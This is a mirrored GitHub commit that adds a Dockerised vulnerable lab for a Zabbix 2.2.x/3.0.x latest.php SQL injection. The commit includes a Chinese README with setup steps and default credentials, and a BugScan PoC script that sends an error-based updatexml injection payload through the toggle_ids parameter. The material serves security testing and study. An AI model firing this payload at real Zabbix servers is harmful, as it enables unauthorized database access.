mirror of
https://github.com/Medicean/VulApps.git
synced 2025-05-05 10:17:40 +00:00
Add Zabbix 2.2.x/3.0.x latest.php SQL 注入漏洞
This commit is contained in:
parent
c86df12bdc
commit
7b784b1f7d
5
z/zabbix/2/Dockerfile
Normal file
5
z/zabbix/2/Dockerfile
Normal file
@ -0,0 +1,5 @@
|
||||
FROM medicean/vulapps:z_zabbix_1
|
||||
MAINTAINER Medici.Yan@Gmail.com
|
||||
|
||||
EXPOSE 10050 10051 80
|
||||
CMD ["/bin/bash","/start.sh"]
|
60
z/zabbix/2/README.md
Normal file
60
z/zabbix/2/README.md
Normal file
@ -0,0 +1,60 @@
|
||||
Zabbix 2.2.x/3.0.x latest.php SQL 注入漏洞
|
||||
|
||||
### 漏洞信息
|
||||
|
||||
* [Zabbix 2.2.x / 3.0.x - SQL Injection](https://www.exploit-db.com/exploits/40237/)
|
||||
|
||||
`latest.php` 文件中 `toggle_ids` 数组的输入,导致 SQL 注入。此注入漏洞需要登录使用,zabbix 默认开启 Guest 用户。
|
||||
|
||||
### 镜像信息
|
||||
|
||||
类型 | 用户名 | 密码
|
||||
:-:|:-:|:-:
|
||||
Mysql | root | zabbix
|
||||
/ | admin | zabbix
|
||||
|
||||
|
||||
### 获取环境:
|
||||
|
||||
1. 拉取镜像到本地
|
||||
|
||||
```
|
||||
$ docker pull medicean/vulapps:z_zabbix_2
|
||||
```
|
||||
|
||||
2. 启动环境
|
||||
|
||||
```
|
||||
$ docker run -d -p 8000:80 medicean/vulapps:z_zabbix_2
|
||||
```
|
||||
> `-p 8000:80` 前面的 8000 代表物理机的端口,可随意指定。
|
||||
|
||||
### 使用与利用
|
||||
|
||||
访问 `http://你的 IP 地址:端口号/`
|
||||
|
||||
### PoC 使用
|
||||
|
||||
> 本例中使用 [Zabbix 2.2.x / 3.0.x latest.php SQL 注入检测 PoC](http://www.bugscan.net/source/plugin/4594/template/)
|
||||
|
||||
|
||||
1. 下载并安装 `BugScan SDK`
|
||||
|
||||
详见 [BugScan 插件开发文档 - 环境配置](http://doc.bugscan.net/chapter1/1-1.html)
|
||||
|
||||
2. 修改 `poc.py` 中地址为容器地址
|
||||
|
||||
```
|
||||
if __name__ == '__main__':
|
||||
from dummy import *
|
||||
audit(assign(fingerprint.wordpress, "http://localhost:8000")[1])
|
||||
|
||||
```
|
||||
|
||||
3. 修改 poc 中 `Cookie`(如果开启了 Guest 则不需要修改,默认开启)
|
||||
|
||||
4. 运行 `poc.py`
|
||||
|
||||
```
|
||||
$ python poc.py
|
||||
```
|
38
z/zabbix/2/poc.py
Normal file
38
z/zabbix/2/poc.py
Normal file
@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
|
||||
|
||||
def assign(service, arg):
|
||||
if service == fingerprint.zabbix:
|
||||
return True, arg
|
||||
|
||||
|
||||
def audit(arg):
|
||||
payload = "/dashboard.php"
|
||||
|
||||
# ## 本地测试 代码
|
||||
# ## 如果关闭了 Guest 就把此段打开,填上 Cookie 并把下一段注释掉
|
||||
# ##
|
||||
# headers = {
|
||||
# 'Cookie': 'PHPSESSID=u5slfsgo98kit40mb381cn0397; zbx_sessionid=433ae9eb61de2fc2ca2befa0dbed604a'
|
||||
# }
|
||||
# code, head, res, redir, log = hackhttp.http(arg + payload, headers=headers)
|
||||
# ## 本地测试结束
|
||||
# ## 线上代码
|
||||
# ## 线上会在创建扫描任务时由用户指定 Cookie 并注入进 hackhttp 中
|
||||
# ## 所以线上代码不需要在代码中指定 Cookie
|
||||
code, head, res, redir, log = hackhttp.http(arg + payload)
|
||||
# ## 线上代码结束
|
||||
if code == 200 and 'href="slides.php?sid=' in res:
|
||||
m = re.search(r'href="slides\.php\?sid=(.+?)">', res, re.M | re.I)
|
||||
if m:
|
||||
sid = m.group(1)
|
||||
payload = "latest.php?output=ajax&sid={sid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=(select%20updatexml(1,concat(0x7e,(SELECT%20md5(537)),0x7e),1))".format(sid=sid)
|
||||
code, head, res, redir, log = hackhttp.http(arg + payload)
|
||||
if code == 200 and '5ea1649a31336092c05438df996a3e5' in res:
|
||||
security_hole(arg + payload, log=log)
|
||||
|
||||
if __name__ == '__main__':
|
||||
from dummy import *
|
||||
audit(assign(fingerprint.zabbix, 'http://localhost:8000/')[1])
|
@ -1,4 +1,5 @@
|
||||
Zabbix
|
||||
---
|
||||
|
||||
1. [Zabbix v2.2.x, 3.0.0-3.0.3 jsrpc 参数 profileIdx2 SQL 注入漏洞](./1)
|
||||
1. [Zabbix v2.2.x, 3.0.0-3.0.3 jsrpc 参数 profileIdx2 SQL 注入漏洞](./1/)
|
||||
2. [Zabbix 2.2.x/3.0.x latest.php SQL 注入漏洞](./2/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user